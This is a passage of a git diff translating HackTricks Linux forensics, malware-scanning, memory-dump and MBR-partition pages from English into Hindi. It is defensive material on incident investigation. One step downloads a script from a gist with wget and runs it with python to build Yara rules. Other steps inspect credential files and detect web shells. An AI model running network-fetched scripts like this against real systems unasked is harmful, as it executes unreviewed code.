_**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +इन एंटी-फॉरेंसिक विधियों का मुकाबला करने के लिए, यह आवश्यक है: +- **घटनाओं के समयरेखा का गहन विश्लेषण करें** जैसे उपकरणों का उपयोग करके **Autopsy** समयरेखाओं को दृश्य बनाने के लिए या **Sleuth Kit's** `mactime` विस्तृत समयरेखा डेटा के लिए। +- **सिस्टम के $PATH में अप्रत्याशित स्क्रिप्टों की जांच करें**, जिसमें हमलावरों द्वारा उपयोग किए गए शेल या PHP स्क्रिप्ट शामिल हो सकते हैं। +- **असामान्य फ़ाइलों के लिए `/dev` की जांच करें**, क्योंकि इसमें पारंपरिक रूप से विशेष फ़ाइलें होती हैं, लेकिन यह मैलवेयर से संबंधित फ़ाइलों को भी रख सकता है। +- **छिपी हुई फ़ाइलों या निर्देशिकाओं की खोज करें** जिनके नाम ".. " (डॉट डॉट स्पेस) या "..^G" (डॉट डॉट कंट्रोल-G) हो सकते हैं, जो दुर्भावनापूर्ण सामग्री को छिपा सकते हैं। +- **setuid रूट फ़ाइलों की पहचान करें** कमांड का उपयोग करके: `find / -user root -perm -04000 -print` यह उन फ़ाइलों को खोजता है जिनके पास उच्च विशेषाधिकार होते हैं, जिन्हें हमलावरों द्वारा दुरुपयोग किया जा सकता है। +- **मास फ़ाइल हटाने के संकेत के लिए इनोड तालिकाओं में हटाने के टाइमस्टैम्प की समीक्षा करें**, जो संभवतः रूटकिट या ट्रोजन की उपस्थिति को इंगित कर सकते हैं। +- **एक बार पहचानने के बाद निकटवर्ती दुर्भावनापूर्ण फ़ाइलों के लिए लगातार इनोड की जांच करें**, क्योंकि उन्हें एक साथ रखा जा सकता है। +- **हाल ही में संशोधित फ़ाइलों के लिए सामान्य बाइनरी निर्देशिकाओं** (_/bin_, _/sbin_) की जांच करें, क्योंकि इन्हें मैलवेयर द्वारा संशोधित किया जा सकता है। ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी समय बनाया और संशोधित किया गया था जब अन्य फाइलें उसी फ़ोल्डर में थीं, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो इसका मतलब है कि **उस फाइल के टाइमस्टैम्प को संशोधित किया गया था**। -## Compare files of different filesystem versions +## विभिन्न फाइल सिस्टम संस्करणों की तुलना करें -### Filesystem Version Comparison Summary +### फाइल सिस्टम संस्करण तुलना सारांश -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +फाइल सिस्टम संस्करणों की तुलना करने और परिवर्तनों को पहचानने के लिए, हम सरल `git diff` कमांड का उपयोग करते हैं: +- **नई फाइलें खोजने के लिए**, दो निर्देशिकाओं की तुलना करें: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **संशोधित सामग्री के लिए**, परिवर्तनों की सूची बनाएं जबकि विशिष्ट पंक्तियों की अनदेखी करें: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **हटाए गए फ़ाइलों का पता लगाने के लिए**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **फिल्टर विकल्प** (`--diff-filter`) विशिष्ट परिवर्तनों जैसे जोड़े गए (`A`), हटाए गए (`D`), या संशोधित (`M`) फ़ाइलों तक संकीर्ण करने में मदद करते हैं। +- `A`: जोड़ी गई फ़ाइलें +- `C`: कॉपी की गई फ़ाइलें +- `D`: हटाई गई फ़ाइलें +- `M`: संशोधित फ़ाइलें +- `R`: नाम बदली गई फ़ाइलें +- `T`: प्रकार परिवर्तन (जैसे, फ़ाइल से सिम्लिंक) +- `U`: अनमर्ज की गई फ़ाइलें +- `X`: अज्ञात फ़ाइलें +- `B`: टूटी हुई फ़ाइलें -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## संदर्भ - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **पुस्तक: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..0f8fd4a6e 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -19,131 +19,114 @@ ### Yara #### Install - ```bash sudo apt-get install -y yara ``` +#### नियम तैयार करें -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +इस स्क्रिप्ट का उपयोग करके github से सभी yara malware नियमों को डाउनलोड और मर्ज करें: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ निर्देशिका बनाएं और इसे निष्पादित करें। यह _**malware_rules.yar**_ नामक एक फ़ाइल बनाएगा जिसमें malware के लिए सभी yara नियम शामिल हैं। ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### स्कैन ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: मैलवेयर की जांच करें और नियम बनाएं -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +आप बाइनरी से यारा नियम उत्पन्न करने के लिए टूल [**YaraGen**](https://github.com/Neo23x0/yarGen) का उपयोग कर सकते हैं। इन ट्यूटोरियल को देखें: [**भाग 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**भाग 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**भाग 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### स्थापित करें ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### स्कैन ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** संभावित रूप से दुर्भावनापूर्ण **क्षमताओं** का पता लगाता है जो executables में होती हैं: PE, ELF, .NET। इसलिए यह ऐसे चीज़ें खोजेगा जैसे Att\&ck रणनीतियाँ, या संदिग्ध क्षमताएँ जैसे: -- check for OutputDebugString error -- run as a service -- create process +- OutputDebugString त्रुटि के लिए जांचें +- सेवा के रूप में चलाएँ +- प्रक्रिया बनाएँ -Get it int he [**Github repo**](https://github.com/mandiant/capa). +इसे [**Github repo**](https://github.com/mandiant/capa) में प्राप्त करें। ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC का अर्थ है Indicator Of Compromise। एक IOC कुछ संभावित अवांछित सॉफ़्टवेयर या पुष्टि किए गए **malware** की पहचान करने वाले **शर्तों का एक सेट** है। ब्लू टीमें इस प्रकार की परिभाषा का उपयोग अपने **सिस्टम** और **नेटवर्क** में इस प्रकार की दुर्भावनापूर्ण फ़ाइलों की **खोज** के लिए करती हैं।\ +इन परिभाषाओं को साझा करना बहुत उपयोगी है क्योंकि जब किसी कंप्यूटर में malware की पहचान की जाती है और उस malware के लिए एक IOC बनाया जाता है, तो अन्य ब्लू टीमें इसे malware की पहचान तेजी से करने के लिए उपयोग कर सकती हैं। -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOCs बनाने या संशोधित करने के लिए एक उपकरण है [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +आप [**Redline**](https://www.fireeye.com/services/freeware/redline.html) जैसे उपकरणों का उपयोग करके **एक डिवाइस में परिभाषित IOCs की खोज** कर सकते हैं। ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) सरल Indicators of Compromise के लिए एक स्कैनर है।\ +पता लगाने के चार तरीके हैं: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) एक मैलवेयर स्कैनर है जो GNU GPLv2 लाइसेंस के तहत जारी किया गया है, जो साझा होस्टेड वातावरण में सामना की जाने वाली खतरों के चारों ओर डिज़ाइन किया गया है। यह नेटवर्क एज इंट्रूज़न डिटेक्शन सिस्टम से खतरे के डेटा का उपयोग करता है ताकि उन मैलवेयर को निकाला जा सके जो हमलों में सक्रिय रूप से उपयोग किए जा रहे हैं और पहचान के लिए सिग्नेचर उत्पन्न करता है। इसके अतिरिक्त, खतरे का डेटा LMD चेकआउट फीचर और मैलवेयर समुदाय संसाधनों के साथ उपयोगकर्ता सबमिशन से भी प्राप्त किया जाता है। ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +जैसे उपकरण [**rkhunter**](http://rkhunter.sourceforge.net) का उपयोग फ़ाइल सिस्टम की जांच करने के लिए किया जा सकता है कि क्या संभव **रूटकिट** और मैलवेयर हैं। ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) एक उपकरण है जो विभिन्न तकनीकों का उपयोग करके निष्पादन योग्य फ़ाइलों के अंदर छिपे हुए स्ट्रिंग्स को खोजने की कोशिश करेगा। ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper) निष्पादन योग्य फ़ाइल (बाइनरी डेटा, एंट्रॉपी, URLs और IPs, कुछ यारा नियम) के अंदर कुछ बुनियादी चीजों की जांच करता है। ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) एक उपकरण है जो Windows निष्पादन योग्य फ़ाइलों की जानकारी प्राप्त करने की अनुमति देता है जैसे कि आयात, निर्यात, हेडर, लेकिन यह वायरस टोटल की भी जांच करेगा और संभावित Att\&ck तकनीकों को खोजेगा। ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) एक उपकरण है जो यह पता लगाने के लिए है कि क्या एक फ़ाइल **एन्क्रिप्टेड** है और **पैकर** भी खोजता है। ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) एक Python स्क्रिप्ट है जो **छिपे हुए** और **एन्क्रिप्टेड** सामग्री का पता लगाने के लिए विभिन्न **सांख्यिकीय विधियों** का उपयोग करती है। NeoPI का उद्देश्य **छिपे हुए वेब शेल कोड** का पता लगाने में सहायता करना है। ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) **छिपे हुए**/**संदिग्ध कोड** के साथ-साथ **PHP** फ़ंक्शंस का उपयोग करने वाली फ़ाइलों का पता लगाने के लिए अपनी पूरी कोशिश करता है जो अक्सर **मैलवेयर**/वेबशेल में उपयोग किए जाते हैं। ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +जब आप कुछ **मैलवेयर नमूने** की जांच कर रहे हों, तो आपको हमेशा बाइनरी के **हस्ताक्षर** की जांच करनी चाहिए क्योंकि **डेवलपर** जिसने इसे हस्ताक्षरित किया है, वह पहले से ही **मैलवेयर** से **संबंधित** हो सकता है। ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` - ## Detection Techniques ### File Stacking -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +यदि आप जानते हैं कि किसी फ़ोल्डर में **फाइलें** एक वेब सर्वर की **अंतिम बार कुछ तारीख पर अपडेट की गई थीं**। **जांचें** कि **वेब सर्वर में सभी फाइलों** की **तारीख** कब **बनाई और संशोधित की गई** थी और यदि कोई तारीख **संदिग्ध** है, तो उस फ़ाइल की जांच करें। ### Baselines -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +यदि किसी फ़ोल्डर की फाइलें **संशोधित नहीं की जानी चाहिए थीं**, तो आप फ़ोल्डर की **मूल फाइलों** का **हैश** निकाल सकते हैं और उन्हें **वर्तमान** फाइलों के साथ **तुलना** कर सकते हैं। जो भी संशोधित होगा वह **संदिग्ध** होगा। ### Statistical Analysis -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +जब जानकारी लॉग में सहेजी जाती है, तो आप **सांख्यिकी की जांच कर सकते हैं जैसे कि एक वेब शेल के रूप में प्रत्येक फाइल को कितनी बार एक्सेस किया गया**। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..72dfe7621 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# मेमोरी डंप विश्लेषण {{#include ../../../banners/hacktricks-training.md}} -
+## प्रारंभ -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +**पीकैप** के अंदर **मैलवेयर** के लिए **खोज** करना शुरू करें। [**मैलवेयर विश्लेषण**](../malware-analysis.md) में उल्लिखित **उपकरणों** का उपयोग करें। -{% embed url="https://www.rootedcon.com/" %} +## [वोलाटिलिटी](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -## Start +**वोलाटिलिटी मेमोरी डंप विश्लेषण के लिए मुख्य ओपन-सोर्स ढांचा है**। यह पायथन उपकरण बाहरी स्रोतों या VMware VMs से डंप का विश्लेषण करता है, डंप के OS प्रोफ़ाइल के आधार पर प्रक्रियाओं और पासवर्ड जैसे डेटा की पहचान करता है। यह प्लगइन्स के साथ विस्तारित किया जा सकता है, जिससे यह फोरेंसिक जांच के लिए अत्यधिक बहुपरकारी बनता है। -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +**[यहां एक चीटशीट खोजें](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) +## मिनी डंप क्रैश रिपोर्ट -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. - -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** - -## Mini dump crash report - -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +जब डंप छोटा होता है (बस कुछ KB, शायद कुछ MB) तो यह शायद एक मिनी डंप क्रैश रिपोर्ट है और मेमोरी डंप नहीं है। ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +यदि आपके पास Visual Studio स्थापित है, तो आप इस फ़ाइल को खोल सकते हैं और प्रक्रिया का नाम, आर्किटेक्चर, अपवाद जानकारी और निष्पादित हो रहे मॉड्यूल जैसी कुछ बुनियादी जानकारी बाइंड कर सकते हैं: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +आप अपवाद को भी लोड कर सकते हैं और डिकंपाइल की गई निर्देशों को देख सकते हैं ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +वैसे भी, Visual Studio डंप की गहराई का विश्लेषण करने के लिए सबसे अच्छा उपकरण नहीं है। -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +आपको इसे **IDA** या **Radare** का उपयोग करके **गहराई** से निरीक्षण करना चाहिए। ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..ce30031ae 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -4,102 +4,100 @@ ## Partitions -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +एक हार्ड ड्राइव या **SSD डिस्क में विभिन्न विभाजन हो सकते हैं** जिनका उद्देश्य डेटा को भौतिक रूप से अलग करना है।\ +डिस्क की **न्यूनतम** इकाई **क्षेत्र** है (सामान्यतः 512B से बनी होती है)। इसलिए, प्रत्येक विभाजन का आकार उस आकार का गुणांक होना चाहिए। -### MBR (master Boot Record) +### MBR (मास्टर बूट रिकॉर्ड) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +यह **446B बूट कोड के बाद डिस्क के पहले क्षेत्र में आवंटित किया गया है**। यह क्षेत्र पीसी को यह संकेत देने के लिए आवश्यक है कि एक विभाजन को क्या और कहाँ माउंट किया जाना चाहिए।\ +यह **4 विभाजनों** तक की अनुमति देता है (अधिकतम **केवल 1** सक्रिय/**बूट करने योग्य** हो सकता है)। हालाँकि, यदि आपको अधिक विभाजनों की आवश्यकता है, तो आप **विस्तारित विभाजन** का उपयोग कर सकते हैं। इस पहले क्षेत्र का **अंतिम बाइट** बूट रिकॉर्ड सिग्नेचर **0x55AA** है। केवल एक विभाजन को सक्रिय के रूप में चिह्नित किया जा सकता है।\ +MBR **अधिकतम 2.2TB** की अनुमति देता है। ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +**MBR के 440 से 443 बाइट्स** में आप **Windows Disk Signature** पा सकते हैं (यदि Windows का उपयोग किया गया है)। हार्ड डिस्क का तार्किक ड्राइव अक्षर Windows Disk Signature पर निर्भर करता है। इस सिग्नेचर को बदलने से Windows बूट करने में विफल हो सकता है (उपकरण: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**। ![](<../../../images/image (493).png>) -**Format** +**फॉर्मेट** -| Offset | Length | Item | +| ऑफसेट | लंबाई | आइटम | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | बूट कोड | +| 446 (0x1BE) | 16 (0x10) | पहला विभाजन | +| 462 (0x1CE) | 16 (0x10) | दूसरा विभाजन | +| 478 (0x1DE) | 16 (0x10) | तीसरा विभाजन | +| 494 (0x1EE) | 16 (0x10) | चौथा विभाजन | +| 510 (0x1FE) | 2 (0x2) | सिग्नेचर 0x55 0xAA | -**Partition Record Format** +**विभाजन रिकॉर्ड फॉर्मेट** -| Offset | Length | Item | +| ऑफसेट | लंबाई | आइटम | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | सक्रिय ध्वज (0x80 = बूट करने योग्य) | +| 1 (0x01) | 1 (0x01) | प्रारंभिक सिर | +| 2 (0x02) | 1 (0x01) | प्रारंभिक क्षेत्र (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) | +| 3 (0x03) | 1 (0x01) | प्रारंभिक सिलेंडर के सबसे कम 8 बिट | +| 4 (0x04) | 1 (0x01) | विभाजन प्रकार कोड (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | अंतिम सिर | +| 6 (0x06) | 1 (0x01) | अंतिम क्षेत्र (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) | +| 7 (0x07) | 1 (0x01) | अंतिम सिलेंडर के सबसे कम 8 बिट | +| 8 (0x08) | 4 (0x04) | विभाजन से पहले के क्षेत्र (लिटिल एंडियन) | +| 12 (0x0C) | 4 (0x04) | विभाजन में क्षेत्र | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Linux में MBR को माउंट करने के लिए आपको पहले प्रारंभिक ऑफसेट प्राप्त करना होगा (आप `fdisk` और `p` कमांड का उपयोग कर सकते हैं) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +और फिर निम्नलिखित कोड का उपयोग करें ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` - **LBA (Logical block addressing)** -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +**Logical block addressing** (**LBA**) एक सामान्य योजना है जो **कंप्यूटर स्टोरेज डिवाइसों** पर संग्रहीत डेटा के ब्लॉकों के स्थान को निर्दिष्ट करने के लिए उपयोग की जाती है, आमतौर पर हार्ड डिस्क ड्राइव जैसे द्वितीयक स्टोरेज सिस्टम। LBA एक विशेष रूप से सरल रैखिक एड्रेसिंग योजना है; **ब्लॉक एक पूर्णांक अनुक्रमांक द्वारा स्थित होते हैं**, पहले ब्लॉक को LBA 